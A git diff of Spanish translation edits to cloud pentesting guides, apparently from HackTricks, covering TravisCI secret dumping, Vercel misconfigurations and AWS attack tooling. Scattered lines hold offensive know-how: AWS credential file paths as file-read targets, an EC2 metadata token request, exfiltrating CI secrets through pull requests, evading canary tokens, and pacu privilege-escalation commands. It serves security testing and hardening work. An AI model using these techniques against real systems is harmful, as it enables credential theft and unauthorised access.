install tfsec tfsec /path/to/folder diff --git a/src/pentesting-ci-cd/todo.md b/src/pentesting-ci-cd/todo.md index 2a5283951..9fb179bbd 100644 --- a/src/pentesting-ci-cd/todo.md +++ b/src/pentesting-ci-cd/todo.md @@ -2,7 +2,7 @@ {{#include ../banners/hacktricks-training.md}} -Se aceptan PRs de Github que expliquen cómo (ab)usar esas plataformas desde la perspectiva de un atacante +Las PRs de Github son bienvenidas explicando cómo (ab)usar esas plataformas desde la perspectiva de un atacante - Drone - TeamCity diff --git a/src/pentesting-ci-cd/travisci-security/README.md b/src/pentesting-ci-cd/travisci-security/README.md index 34bdb9892..fe8954776 100644 --- a/src/pentesting-ci-cd/travisci-security/README.md +++ b/src/pentesting-ci-cd/travisci-security/README.md @@ -1,10 +1,10 @@ -# TravisCI Security +# TravisCI Seguridad {{#include ../../banners/hacktricks-training.md}} ## Qué es TravisCI -**Travis CI** es un servicio de **integración continua** **alojado** o en **local** utilizado para construir y probar proyectos de software alojados en varias **plataformas git diferentes**. +**Travis CI** es un servicio de **integración continua** **alojado** o en **local** utilizado para construir y probar proyectos de software alojados en varias **diferentes plataformas git**. {{#ref}} basic-travisci-information.md @@ -20,7 +20,7 @@ Para lanzar un ataque primero necesitas saber cómo disparar una construcción. #### Trabajos Cron -Si tienes acceso a la aplicación web, puedes **configurar trabajos cron para ejecutar la construcción**, esto podría ser útil para persistencia o para disparar una construcción: +Si tienes acceso a la aplicación web puedes **configurar trabajos cron para ejecutar la construcción**, esto podría ser útil para persistencia o para disparar una construcción: ![](<../../images/image (243).png>) @@ -29,17 +29,17 @@ Si tienes acceso a la aplicación web, puedes **configurar trabajos cron para ej ### PR de Terceros -TravisCI, por defecto, desactiva el compartir variables de entorno con PRs provenientes de terceros, pero alguien podría habilitarlo y entonces podrías crear PRs al repositorio y exfiltrar los secretos: +TravisCI por defecto desactiva el compartir variables de entorno con PRs provenientes de terceros, pero alguien podría habilitarlo y entonces podrías crear PRs al repositorio y exfiltrar los secretos: ![](<../../images/image (208).png>) ### Volcado de Secretos -Como se explica en la página de [**información básica**](basic-travisci-information.md), hay 2 tipos de secretos. **Secretos de Variables de Entorno** (que están listados en la página web) y **secretos personalizados cifrados**, que se almacenan dentro del archivo `.travis.yml` como base64 (ten en cuenta que ambos, al ser almacenados cifrados, terminarán como variables de entorno en las máquinas finales). +Como se explica en la página de [**información básica**](basic-travisci-information.md), hay 2 tipos de secretos. **Secretos de Variables de Entorno** (que están listados en la página web) y **secretos encriptados personalizados**, que se almacenan dentro del archivo `.travis.yml` como base64 (ten en cuenta que ambos, al ser almacenados encriptados, terminarán como variables de entorno en las máquinas finales). -- Para **enumerar secretos** configurados como **Variables de Entorno**, ve a la **configuración** del **proyecto** y revisa la lista. Sin embargo, ten en cuenta que todas las variables de entorno del proyecto configuradas aquí aparecerán al disparar una construcción. -- Para enumerar los **secretos personalizados cifrados**, lo mejor que puedes hacer es **revisar el archivo `.travis.yml`**. -- Para **enumerar archivos cifrados**, puedes buscar archivos **`.enc`** en el repositorio, por líneas similares a `openssl aes-256-cbc -K $encrypted_355e94ba1091_key -iv $encrypted_355e94ba1091_iv -in super_secret.txt.enc -out super_secret.txt -d` en el archivo de configuración, o por **iv y claves cifradas** en las **Variables de Entorno** como: +- Para **enumerar secretos** configurados como **Variables de Entorno** ve a la **configuración** del **proyecto** y revisa la lista. Sin embargo, ten en cuenta que todas las variables de entorno del proyecto configuradas aquí aparecerán al disparar una construcción. +- Para enumerar los **secretos encriptados personalizados** lo mejor que puedes hacer es **revisar el archivo `.travis.yml`**. +- Para **enumerar archivos encriptados** puedes buscar archivos **`.enc`** en el repositorio, por líneas similares a `openssl aes-256-cbc -K $encrypted_355e94ba1091_key -iv $encrypted_355e94ba1091_iv -in super_secret.txt.enc -out super_secret.txt -d` en el archivo de configuración, o por **iv y claves encriptadas** en las **Variables de Entorno** como: ![](<../../images/image (81).png>) diff --git a/src/pentesting-ci-cd/travisci-security/basic-travisci-information.md b/src/pentesting-ci-cd/travisci-security/basic-travisci-information.md index 0a8bbe55a..1538aa153 100644 --- a/src/pentesting-ci-cd/travisci-security/basic-travisci-information.md +++ b/src/pentesting-ci-cd/travisci-security/basic-travisci-information.md @@ -24,7 +24,7 @@ Es posible indicar las **ramas a las que los secretos estarán disponibles** (po ### Secretos Encriptados Personalizados -Para **cada repositorio**, TravisCI genera un **par de claves RSA**, **mantiene** la **privada**, y hace disponible la **clave pública** del repositorio a aquellos que tienen **acceso** al repositorio. +Para **cada repositorio** TravisCI genera un **par de claves RSA**, **mantiene** la **privada**, y hace disponible la **clave pública** del repositorio a aquellos que tienen **acceso** al repositorio. Puedes acceder a la clave pública de un repositorio con: ``` @@ -57,31 +57,31 @@ Make sure to add super_secret.txt.enc to the git repository. Make sure not to add super_secret.txt to the git repository. Commit all changes to your .travis.yml. ``` -Note que al encriptar un archivo, se configurarán 2 variables de entorno dentro del repositorio, tales como: +Tenga en cuenta que al cifrar un archivo se configurarán 2 variables de entorno dentro del repositorio, como: ![](<../../images/image (170).png>) ## TravisCI Enterprise -Travis CI Enterprise es una **versión on-prem de Travis CI**, que puedes desplegar **en tu infraestructura**. Piensa en la versión ‘servidor’ de Travis CI. Usar Travis CI te permite habilitar un sistema de Integración Continua/Despliegue Continuo (CI/CD) fácil de usar en un entorno, que puedes configurar y asegurar como desees. +Travis CI Enterprise es una **versión on-prem de Travis CI**, que puede implementar **en su infraestructura**. Piense en la versión 'servidor' de Travis CI. Usar Travis CI le permite habilitar un sistema de Integración Continua/Despliegue Continuo (CI/CD) fácil de usar en un entorno, que puede configurar y asegurar como desee. **Travis CI Enterprise consta de dos partes principales:** -1. Servicios TCI **(o Servicios Centrales TCI)**, responsables de la integración con sistemas de control de versiones, autorización de compilaciones, programación de trabajos de compilación, etc. -2. TCI **Worker** e imágenes de entorno de compilación (también llamadas imágenes de SO). +1. Servicios de TCI **(o Servicios Centrales de TCI)**, responsables de la integración con sistemas de control de versiones, autorización de compilaciones, programación de trabajos de compilación, etc. +2. TCI **Worker** e imágenes del entorno de compilación (también llamadas imágenes de SO). -**Los servicios centrales TCI requieren lo siguiente:** +**Los servicios centrales de TCI requieren lo siguiente:** 1. Una base de datos **PostgreSQL11** (o posterior). -2. Una infraestructura para desplegar un clúster de Kubernetes; puede ser desplegado en un clúster de servidores o en una sola máquina si es necesario. -3. Dependiendo de tu configuración, es posible que desees desplegar y configurar algunos de los componentes por tu cuenta, por ejemplo, RabbitMQ - consulta la [Configuración de Travis CI Enterprise](https://docs.travis-ci.com/user/enterprise/tcie-3.x-setting-up-travis-ci-enterprise/) para más detalles. +2. Una infraestructura para implementar un clúster de Kubernetes; se puede implementar en un clúster de servidores o en una sola máquina si es necesario. +3. Dependiendo de su configuración, es posible que desee implementar y configurar algunos de los componentes por su cuenta, por ejemplo, RabbitMQ - consulte la [Configuración de Travis CI Enterprise](https://docs.travis-ci.com/user/enterprise/tcie-3.x-setting-up-travis-ci-enterprise/) para más detalles. -**El Worker TCI requiere lo siguiente:** +**El Worker de TCI requiere lo siguiente:** -1. Una infraestructura donde se pueda desplegar una imagen de docker que contenga el **Worker y una imagen de compilación vinculada**. -2. Conectividad a ciertos componentes de los Servicios Centrales de Travis CI - consulta la [Configuración del Worker](https://docs.travis-ci.com/user/enterprise/setting-up-worker/) para más detalles. +1. Una infraestructura donde se pueda implementar una imagen de docker que contenga el **Worker y una imagen de compilación vinculada**. +2. Conectividad a ciertos componentes de los Servicios Centrales de Travis CI - consulte la [Configuración del Worker](https://docs.travis-ci.com/user/enterprise/setting-up-worker/) para más detalles. -La cantidad de imágenes de OS de Worker TCI y de entorno de compilación desplegadas determinará la capacidad total concurrente del despliegue de Travis CI Enterprise en tu infraestructura. +La cantidad de imágenes de OS de Worker de TCI y del entorno de compilación implementadas determinará la capacidad total concurrente de la implementación de Travis CI Enterprise en su infraestructura. ![](<../../images/image (199).png>) diff --git a/src/pentesting-ci-cd/vercel-security.md b/src/pentesting-ci-cd/vercel-security.md index 73fe7f0c6..dff1ab47f 100644 --- a/src/pentesting-ci-cd/vercel-security.md +++ b/src/pentesting-ci-cd/vercel-security.md @@ -39,7 +39,7 @@ Para una revisión de endurecimiento de **Vercel**, necesitas solicitar un usuar - **Riesgo:** Vulnerable a ataques de hombre en el medio (MITM), comprometiendo la integridad y confidencialidad de los datos. - **Implementación de DNSSEC** - **Mala Configuración:** No habilitar DNSSEC o configuraciones incorrectas de DNSSEC. -- **Riesgo:** Mayor susceptibilidad a ataques de suplantación de DNS y envenenamiento de caché. +- **Riesgo:** Aumento de la susceptibilidad a ataques de suplantación de DNS y envenenamiento de caché. - **Entorno utilizado por dominio** - **Mala Configuración:** Cambiar el entorno utilizado por el dominio en producción. - **Riesgo:** Exponer secretos o funcionalidades potenciales que no deberían estar disponibles en producción. @@ -72,10 +72,10 @@ Para una revisión de endurecimiento de **Vercel**, necesitas solicitar un usuar - **Riesgo:** Exposición de claves API, credenciales de base de datos u otros datos sensibles al público, lo que lleva a filtraciones de datos. - **Sensibles deshabilitados** - **Mala Configuración:** Si está deshabilitado (por defecto), es posible leer los valores de los secretos generados. -- **Riesgo:** Mayor probabilidad de exposición accidental o acceso no autorizado a información sensible. +- **Riesgo:** Aumento de la probabilidad de exposición accidental o acceso no autorizado a información sensible. - **Variables de Entorno Compartidas** - **Mala Configuración:** Estas son variables de entorno establecidas a nivel de Equipo y también podrían contener información sensible. -- **Riesgo:** Mayor probabilidad de exposición accidental o acceso no autorizado a información sensible. +- **Riesgo:** Aumento de la probabilidad de exposición accidental o acceso no autorizado a información sensible. --- @@ -104,7 +104,7 @@ Para una revisión de endurecimiento de **Vercel**, necesitas solicitar un usuar - **Mala Configuración:** Conceder permisos excesivos a servicios integrados. - **Riesgo:** Acceso no autorizado a recursos del proyecto, manipulación de datos o interrupciones del servicio. - **Falta de Monitoreo de Integraciones** -- **Mala Configuración:** No monitorear y auditar integraciones de terceros. +- **Mala Configuración:** No monitorear ni auditar integraciones de terceros. - **Riesgo:** Detección tardía de integraciones comprometidas, aumentando el impacto potencial de las brechas de seguridad. --- @@ -132,7 +132,7 @@ Para una revisión de endurecimiento de **Vercel**, necesitas solicitar un usuar **Opciones de Lista Blanca** -- **Mala Configuración:** Permitir rutas o puntos finales demasiado amplios en la lista blanca. +- **Mala Configuración:** Permitir rutas demasiado amplias o puntos finales sensibles. - **Riesgo:** Los atacantes pueden explotar rutas no protegidas para realizar acciones no autorizadas o eludir verificaciones de seguridad. **Protección por Contraseña** @@ -173,19 +173,19 @@ Para una revisión de endurecimiento de **Vercel**, necesitas solicitar un usuar - **Purgar Caché** - **Mala Configuración:** Permite eliminar toda la caché. -- **Riesgo:** Usuarios no autorizados eliminando la caché, lo que lleva a un potencial DoS. +- **Riesgo:** Usuarios no autorizados eliminando la caché, lo que lleva a un posible DoS. --- -### Tareas Programadas +### Trabajos Cron -**Propósito:** Programar tareas y scripts automatizados para que se ejecuten en intervalos especificados. +**Propósito:** Programar tareas y scripts automatizados para que se ejecuten en intervalos específicos. #### Configuraciones de Seguridad: -- **Deshabilitar Tarea Programada** -- **Mala Configuración:** Permite deshabilitar tareas programadas declaradas dentro del código -- **Riesgo:** Interrupción potencial del servicio (dependiendo de para qué estaban destinadas las tareas programadas) +- **Deshabilitar Trabajo Cron** +- **Mala Configuración:** Permite deshabilitar trabajos cron declarados dentro del código +- **Riesgo:** Posible interrupción del servicio (dependiendo de para qué estaban destinados los trabajos cron) --- @@ -223,7 +223,7 @@ Para una revisión de endurecimiento de **Vercel**, necesitas solicitar un usuar **Política de Retención de Implementaciones** - **Mala Configuración:** Establecer períodos de retención demasiado cortos (perdiendo el historial de implementaciones) o demasiado largos (retención innecesaria de datos). -- **Riesgo:** Incapacidad para realizar retrocesos cuando sea necesario o mayor riesgo de exposición de datos de implementaciones antiguas. +- **Riesgo:** Incapacidad para realizar retrocesos cuando sea necesario o aumento del riesgo de exposición de datos de implementaciones antiguas. **Implementaciones Recientemente Eliminadas** @@ -343,7 +343,7 @@ Un **Grupo de Acceso** en Vercel es una colección de proyectos y miembros del e #### Configuraciones de Seguridad: -- **Dominio de Correo Electrónico del Equipo:** Cuando se configura, esta opción invita automáticamente a Cuentas Personales de Vercel con direcciones de correo electrónico que terminan en el dominio especificado (por ejemplo, `mydomain.com`) a unirse a tu equipo al registrarse y en el panel de control. +- **Dominio de Correo Electrónico del Equipo:** Cuando se configura, esta configuración invita automáticamente a Cuentas Personales de Vercel con direcciones de correo electrónico que terminan en el dominio especificado (por ejemplo, `mydomain.com`) a unirse a tu equipo al registrarse y en el panel de control. - **Mala Configuración:** - Especificar el dominio de correo electrónico incorrecto o un dominio mal escrito en la configuración del Dominio de Correo Electrónico del Equipo. - Usar un dominio de correo electrónico común (por ejemplo, `gmail.com`, `hotmail.com`) en lugar de un dominio específico de la empresa. @@ -351,7 +351,7 @@ Un **Grupo de Acceso** en Vercel es una colección de proyectos y miembros del e - **Acceso No Autorizado:** Usuarios con direcciones de correo electrónico de dominios no deseados pueden recibir invitaciones para unirse a tu equipo. - **Exposición de Datos:** Exposición potencial de información sensible del proyecto a individuos no autorizados. - **Ámbitos de Git Protegidos:** Te permite agregar hasta 5 ámbitos de Git a tu equipo para evitar que otros equipos de Vercel implementen repositorios del ámbito protegido. Múltiples equipos pueden especificar el mismo ámbito, permitiendo el acceso a ambos equipos. -- **Mala Configuración:** No agregar ámbitos de Git críticos a la lista protegida. +- **Mala Configuración:** No agregar ámbitos críticos de Git a la lista protegida. - **Riesgos:** - **Implementaciones No Autorizadas:** Otros equipos pueden implementar repositorios de los ámbitos de Git de tu organización sin autorización. - **Exposición de Propiedad Intelectual:** Código propietario podría ser implementado y accesado fuera de tu equipo. @@ -365,7 +365,7 @@ Un **Grupo de Acceso** en Vercel es una colección de proyectos y miembros del e Conceder acceso a registros de auditoría a miembros no autorizados del equipo. - **Riesgos:** - **Violaciones de Privacidad:** Exposición de actividades y datos sensibles de usuarios. -- **Manipulación de Registros:** Actores maliciosos podrían alterar o eliminar registros para encubrir sus huellas. +- **Manipulación de Registros:** Actores maliciosos podrían alterar o eliminar registros para cubrir sus huellas. - **SAML Single Sign-On:** Permite la personalización de la autenticación SAML y la sincronización de directorios para tu equipo, habilitando la integración con un Proveedor de Identidad (IdP) para autenticación y gestión de usuarios centralizadas. - **Mala Configuración:** Un atacante podría crear una puerta trasera en la configuración del Equipo estableciendo parámetros SAML como ID de Entidad, URL de SSO o huellas digitales de certificados. - **Riesgo:** Mantener persistencia @@ -374,7 +374,7 @@ Conceder acceso a registros de auditoría a miembros no autorizados del equipo. - **Riesgos:** - **Violaciones de Privacidad:** No cumplimiento con regulaciones de protección de datos como GDPR. - **Repercusiones Legales:** Posibles multas y sanciones por manejo inadecuado de datos personales. -- **Bloqueo de IP:** Permite la configuración de direcciones IP y rangos CIDR que Vercel debería bloquear. Las solicitudes bloqueadas no contribuyen a tu facturación. +- **Bloqueo de IP:** Permite la configuración de direcciones IP y rangos CIDR que Vercel debería bloquear en las solicitudes. Las solicitudes bloqueadas no contribuyen a tu facturación. - **Mala Configuración:** Podría ser abusada por un atacante para permitir tráfico malicioso o bloquear tráfico legítimo. - **Riesgos:** - **Denegación de Servicio a Usuarios Legítimos:** Bloqueo de acceso para usuarios o socios válidos. @@ -392,19 +392,19 @@ Conceder acceso a registros de auditoría a miembros no autorizados del equipo. - **Mala Configuración:** Elegir una región de AWS para la red de Cómputo Seguro que no coincida con la región de los servicios de backend. - **Riesgo:** Aumento de latencia, posibles problemas de cumplimiento de residencia de datos y degradación del rendimiento. 2. **Bloques CIDR Superpuestos** -- **Mala Configuración:** Seleccionar bloques CIDR que se superpongan con VPCs existentes u otras redes. +- **Mala Configuración:** Seleccionar bloques CIDR que se superpongan con VPC existentes u otras redes. - **Riesgo:** Conflictos de red que llevan a conexiones fallidas, acceso no autorizado o filtración de datos entre redes. 3. **Configuración Incorrecta de Peering de VPC** - **Mala Configuración:** Configurar incorrectamente el peering de VPC (por ejemplo, IDs de VPC incorrectos, actualizaciones incompletas de la tabla de rutas). - **Riesgo:** Acceso no autorizado a la infraestructura de backend, conexiones seguras fallidas y posibles filtraciones de datos. 4. **Asignaciones Excesivas de Proyectos** - **Mala Configuración:** Asignar múltiples proyectos a una sola red de Cómputo Seguro sin el aislamiento adecuado. -- **Riesgo:** La exposición de IP compartida aumenta la superficie de ataque, permitiendo que proyectos comprometidos afecten a otros. +- **Riesgo:** La exposición compartida de IP aumenta la superficie de ataque, permitiendo que proyectos comprometidos afecten a otros. 5. **Gestión Inadecuada de Direcciones IP** - **Mala Configuración:** No gestionar o rotar adecuadamente las direcciones IP dedicadas. -- **Riesgo:** Suplantación de IP, vulnerabilidades de seguimiento y posible inclusión en listas negras si las IPs están asociadas con actividades maliciosas. +- **Riesgo:** Suplantación de IP, vulnerabilidades de seguimiento y posible inclusión en listas negras si las IP están asociadas con actividades maliciosas. 6. **Incluir Contenedores de Construcción Innecesariamente** -- **Mala Configuración:** Agregar contenedores de construcción a la red de Cómputo Seguro cuando no se requiere acceso al backend durante las construcciones. +- **Mala Configuración:** Agregar contenedores de construcción a la red de Cómputo Seguro cuando no se requiere acceso de backend durante las construcciones. - **Riesgo:** Superficie de ataque expandida, retrasos en la provisión y consumo innecesario de recursos de red. 7. **Falta de Manejo Seguro de Secretos de Bypass** - **Mala Configuración:** Exponer o manejar incorrectamente secretos utilizados para eludir protecciones de implementación. @@ -432,6 +432,6 @@ Conceder acceso a registros de auditoría a miembros no autorizados del equipo. - **Riesgo:** Exposición de claves API, credenciales de base de datos u otros datos sensibles al público, lo que lleva a filtraciones de datos. - **Sensibles deshabilitados** - **Mala Configuración:** Si está deshabilitado (por defecto), es posible leer los valores de los secretos generados. -- **Riesgo:** Mayor probabilidad de exposición accidental o acceso no autorizado a información sensible. +- **Riesgo:** Aumento de la probabilidad de exposición accidental o acceso no autorizado a información sensible. {{#include ../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/README.md b/src/pentesting-cloud/aws-security/README.md index a679270ec..a1ba2de1f 100644 --- a/src/pentesting-cloud/aws-security/README.md +++ b/src/pentesting-cloud/aws-security/README.md @@ -33,7 +33,7 @@ Para auditar un ambiente de AWS, es muy importante saber: qué **servicios se es Desde el punto de vista de un Red Team, el **primer paso para comprometer un ambiente de AWS** es lograr obtener algunas **credenciales**. Aquí tienes algunas ideas sobre cómo hacerlo: -- **Filtraciones** en github (o similar) - OSINT +- **Leaks** en github (o similar) - OSINT - **Ingeniería** Social - Reutilización de **contraseñas** (filtraciones de contraseñas) - Vulnerabilidades en Aplicaciones Alojadas en AWS @@ -41,11 +41,11 @@ Desde el punto de vista de un Red Team, el **primer paso para comprometer un amb - **Lectura de Archivos Locales** - `/home/USERNAME/.aws/credentials` - `C:\Users\USERNAME\.aws\credentials` -- **terceros** **comprometidos** +- **brechas** de terceros - Empleado **Interno** - [**Cognito** ](aws-services/aws-cognito-enum/#cognito)credenciales -O comprometiendo un **servicio no autenticado** expuesto: +O comprometiendo un servicio **no autenticado** expuesto: {{#ref}} aws-unauthenticated-enum-access/ @@ -58,7 +58,7 @@ aws-permissions-for-a-pentest.md {{#endref}} > [!NOTE] -> Después de haber logrado obtener credenciales, necesitas saber **a quién pertenecen esas credenciales**, y **a qué tienen acceso**, así que necesitas realizar alguna enumeración básica: +> Después de haber logrado obtener credenciales, necesitas saber **a quién pertenecen esas credenciales**, y **a qué tienen acceso**, por lo que necesitas realizar alguna enumeración básica: ## Enumeración Básica @@ -92,7 +92,7 @@ curl -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/dynamic > Tenga en cuenta que las empresas pueden usar **canary tokens** para identificar cuándo **se están robando y utilizando tokens**. Se recomienda verificar si un token es un canary token o no antes de usarlo.\ > Para más información [**ver esta página**](aws-services/aws-security-and-detection-services/aws-cloudtrail-enum.md#honeytokens-bypass). -### Enumeración de Org +### Enumeración de Organizaciones {{#ref}} aws-services/aws-organizations-enum.md @@ -115,7 +115,7 @@ aws-services/aws-iam-enum.md ## Enumeración de Servicios, Post-Explotación y Persistencia -AWS tiene una asombrosa cantidad de servicios, en la siguiente página encontrará **información básica, enumeración** cheatsheets\*\*,\*\* cómo **evitar la detección**, obtener **persistencia** y otros trucos de **post-explotación** sobre algunos de ellos: +AWS tiene una asombrosa cantidad de servicios, en la siguiente página encontrará **información básica, cheatsheets de enumeración**, cómo **evitar la detección**, obtener **persistencia** y otros trucos de **post-explotación** sobre algunos de ellos: {{#ref}} aws-services/ @@ -131,7 +131,7 @@ aws-unauthenticated-enum-access/ ## Escalación de Privilegios -Si puede **ver al menos sus propios permisos** sobre diferentes recursos, podría **verificar si puede obtener más permisos**. Debería centrarse al menos en los permisos indicados en: +Si puede **ver al menos sus propios permisos** sobre diferentes recursos, podría **ver si puede obtener más permisos**. Debería centrarse al menos en los permisos indicados en: {{#ref}} aws-privilege-escalation/ @@ -161,7 +161,7 @@ Por lo tanto, para acceder como administrador a una cuenta secundaria, necesita: - **Comprometer** la **cuenta de administración** y encontrar el **ID** de las **cuentas secundarias** y los **nombres** del **rol** (OrganizationAccountAccessRole por defecto) que permite a la cuenta de administración acceder como administrador. - Para encontrar cuentas secundarias, vaya a la sección de organizaciones en la consola de aws o ejecute `aws organizations list-accounts` - No puede encontrar el nombre de los roles directamente, así que verifique todas las políticas IAM personalizadas y busque cualquier que permita **`sts:AssumeRole` sobre las cuentas secundarias descubiertas previamente**. -- **Comprometer** un **principal** en la cuenta de administración con **permiso `sts:AssumeRole` sobre el rol en las cuentas secundarias** (incluso si la cuenta permite que cualquiera de la cuenta de administración se impersonifique, como es una cuenta externa, son necesarios permisos específicos de `sts:AssumeRole`). +- **Comprometer** un **principal** en la cuenta de administración con **permiso `sts:AssumeRole` sobre el rol en las cuentas secundarias** (incluso si la cuenta permite que cualquiera de la cuenta de administración se haga pasar por ella, como es una cuenta externa, son necesarios permisos específicos de `sts:AssumeRole`). ## Herramientas Automatizadas @@ -179,7 +179,7 @@ AWS_PROFILE= aws_recon \ --verbose ``` - [**cloudlist**](https://github.com/projectdiscovery/cloudlist): Cloudlist es una **herramienta multi-nube para obtener Activos** (Nombres de host, Direcciones IP) de Proveedores de Nube. -- [**cloudmapper**](https://github.com/duo-labs/cloudmapper): CloudMapper te ayuda a analizar tus entornos de Amazon Web Services (AWS). Ahora contiene mucha más funcionalidad, incluyendo auditoría para problemas de seguridad. +- [**cloudmapper**](https://github.com/duo-labs/cloudmapper): CloudMapper te ayuda a analizar tus entornos de Amazon Web Services (AWS). Ahora contiene mucha más funcionalidad, incluyendo auditoría de problemas de seguridad. ```bash # Installation steps in github # Create a config.json file with the aws info, like: @@ -239,7 +239,7 @@ AWS_PROFILE=dev cartography --neo4j-uri bolt://127.0.0.1:7687 --neo4j-password-p ### Privesc & Exploiting -- [**SkyArk**](https://github.com/cyberark/SkyArk)**:** Descubre los usuarios más privilegiados en el entorno de AWS escaneado, incluyendo los AWS Shadow Admins. Utiliza powershell. Puedes encontrar la **definición de políticas privilegiadas** en la función **`Check-PrivilegedPolicy`** en [https://github.com/cyberark/SkyArk/blob/master/AWStealth/AWStealth.ps1](https://github.com/cyberark/SkyArk/blob/master/AWStealth/AWStealth.ps1). +- [**SkyArk**](https://github.com/cyberark/SkyArk)**:** Descubre los usuarios más privilegiados en el entorno de AWS escaneado, incluyendo a los AWS Shadow Admins. Utiliza powershell. Puedes encontrar la **definición de políticas privilegiadas** en la función **`Check-PrivilegedPolicy`** en [https://github.com/cyberark/SkyArk/blob/master/AWStealth/AWStealth.ps1](https://github.com/cyberark/SkyArk/blob/master/AWStealth/AWStealth.ps1). - [**pacu**](https://github.com/RhinoSecurityLabs/pacu): Pacu es un **framework de explotación de AWS** de código abierto, diseñado para pruebas de seguridad ofensivas contra entornos en la nube. Puede **enumerar**, encontrar **configuraciones incorrectas** y **explotarlas**. Puedes encontrar la **definición de permisos privilegiados** en [https://github.com/RhinoSecurityLabs/pacu/blob/866376cd711666c775bbfcde0524c817f2c5b181/pacu/modules/iam\_\_privesc_scan/main.py#L134](https://github.com/RhinoSecurityLabs/pacu/blob/866376cd711666c775bbfcde0524c817f2c5b181/pacu/modules/iam__privesc_scan/main.py#L134) dentro del diccionario **`user_escalation_methods`**. - Ten en cuenta que pacu **solo verifica tus propios caminos de privesc** (no a nivel de cuenta). ```bash @@ -255,7 +255,7 @@ pacu > exec iam__enum_permissions # Get permissions > exec iam__privesc_scan # List privileged permissions ``` -- [**PMapper**](https://github.com/nccgroup/PMapper): Principal Mapper (PMapper) es un script y biblioteca para identificar riesgos en la configuración de AWS Identity and Access Management (IAM) para una cuenta de AWS o una organización de AWS. Modela los diferentes Usuarios y Roles de IAM en una cuenta como un grafo dirigido, lo que permite verificar la **escalada de privilegios** y los caminos alternativos que un atacante podría tomar para obtener acceso a un recurso o acción en AWS. Puedes verificar los **permisos utilizados para encontrar caminos de privesc** en los nombres de archivo que terminan en `_edges.py` en [https://github.com/nccgroup/PMapper/tree/master/principalmapper/graphing](https://github.com/nccgroup/PMapper/tree/master/principalmapper/graphing) +- [**PMapper**](https://github.com/nccgroup/PMapper): Principal Mapper (PMapper) es un script y biblioteca para identificar riesgos en la configuración de AWS Identity and Access Management (IAM) para una cuenta de AWS o una organización de AWS. Modela los diferentes IAM Users y Roles en una cuenta como un grafo dirigido, lo que permite verificar **privilege escalation** y los caminos alternativos que un atacante podría tomar para obtener acceso a un recurso o acción en AWS. Puedes verificar los **permissions utilizados para encontrar privesc** caminos en los nombres de archivo que terminan en `_edges.py` en [https://github.com/nccgroup/PMapper/tree/master/principalmapper/graphing](https://github.com/nccgroup/PMapper/tree/master/principalmapper/graphing) ```bash # Install pip install principalmapper @@ -278,7 +278,7 @@ pmapper --profile dev orgs create pmapper --profile dev orgs display ``` - [**cloudsplaining**](https://github.com/salesforce/cloudsplaining): Cloudsplaining es una herramienta de evaluación de seguridad de AWS IAM que identifica violaciones del principio de menor privilegio y genera un informe HTML priorizado por riesgo.\ -Mostrará los clientes **sobre privilegiados** potencialmente, las **políticas** en línea y de aws, y qué **principales tienen acceso a ellas**. (No solo verifica el privesc, sino también otros tipos de permisos interesantes, se recomienda su uso). +Mostrará los clientes **sobre privilegiados** potencialmente, las políticas en línea y de aws **y qué principales tienen acceso a ellas**. (No solo verifica privesc, sino también otros tipos de permisos interesantes, se recomienda su uso). ```bash # Install pip install cloudsplaining @@ -303,7 +303,7 @@ cloudsplaining scan --input-file /private/tmp/cloudsplaining/dev.json --output / # Compiance options: --compliance {hipaa,cis,cis1,cis2,pci} ## use "cis" for cis level 1 and 2 ``` -- [**Prowler**](https://github.com/prowler-cloud/prowler): Prowler es una herramienta de seguridad de código abierto para realizar evaluaciones de las mejores prácticas de seguridad de AWS, auditorías, respuesta a incidentes, monitoreo continuo, endurecimiento y preparación forense. +- [**Prowler**](https://github.com/prowler-cloud/prowler): Prowler es una herramienta de seguridad de código abierto para realizar evaluaciones de las mejores prácticas de seguridad de AWS, auditorías, respuesta a incidentes, monitoreo continuo, endurecimiento y preparación para forenses. ```bash # Install python3, jq and git # Install @@ -334,8 +334,8 @@ scout aws -p dev ### Auditoría Constante -- [**cloud-custodian**](https://github.com/cloud-custodian/cloud-custodian): Cloud Custodian es un motor de reglas para gestionar cuentas y recursos de nube pública. Permite a los usuarios **definir políticas para habilitar una infraestructura de nube bien gestionada**, que sea segura y optimizada en costos. Consolida muchos de los scripts ad-hoc que las organizaciones tienen en una herramienta ligera y flexible, con métricas y reportes unificados. -- [**pacbot**](https://github.com/tmobile/pacbot)**: Policy as Code Bot (PacBot)** es una plataforma para **monitoreo continuo de cumplimiento, reportes de cumplimiento y automatización de seguridad para la nube**. En PacBot, las políticas de seguridad y cumplimiento se implementan como código. Todos los recursos descubiertos por PacBot son evaluados contra estas políticas para medir la conformidad con las políticas. El marco de **auto-fix** de PacBot proporciona la capacidad de responder automáticamente a violaciones de políticas tomando acciones predefinidas. +- [**cloud-custodian**](https://github.com/cloud-custodian/cloud-custodian): Cloud Custodian es un motor de reglas para gestionar cuentas y recursos de nube pública. Permite a los usuarios **definir políticas para habilitar una infraestructura en la nube bien gestionada**, que sea segura y optimizada en costos. Consolida muchos de los scripts ad-hoc que las organizaciones tienen en una herramienta ligera y flexible, con métricas y reportes unificados. +- [**pacbot**](https://github.com/tmobile/pacbot)**: Policy as Code Bot (PacBot)** es una plataforma para **monitoreo continuo de cumplimiento, reporte de cumplimiento y automatización de seguridad para la nube**. En PacBot, las políticas de seguridad y cumplimiento se implementan como código. Todos los recursos descubiertos por PacBot se evalúan contra estas políticas para medir la conformidad con las políticas. El marco **auto-fix** de PacBot proporciona la capacidad de responder automáticamente a violaciones de políticas tomando acciones predefinidas. - [**streamalert**](https://github.com/airbnb/streamalert)**:** StreamAlert es un marco de análisis de datos **en tiempo real** sin servidor que te permite **ingresar, analizar y alertar** sobre datos de cualquier entorno, **usando fuentes de datos y lógica de alertas que defines**. Los equipos de seguridad informática utilizan StreamAlert para escanear terabytes de datos de registro todos los días para la detección y respuesta a incidentes. ## DEBUG: Capturar solicitudes de AWS cli diff --git a/src/pentesting-cloud/aws-security/aws-basic-information/README.md b/src/pentesting-cloud/aws-security/aws-basic-information/README.md index 31d9f1421..d1f0b51de 100644 --- a/src/pentesting-cloud/aws-security/aws-basic-information/README.md +++ b/src/pentesting-cloud/aws-security/aws-basic-information/README.md @@ -26,7 +26,7 @@ Por lo tanto, hay **dos tipos de cuentas en una organización** (estamos habland La cuenta de gestión tiene las **responsabilidades de una cuenta pagadora** y es responsable de pagar todos los cargos que son acumulados por las cuentas miembro. No puedes cambiar la cuenta de gestión de una organización. -- Las 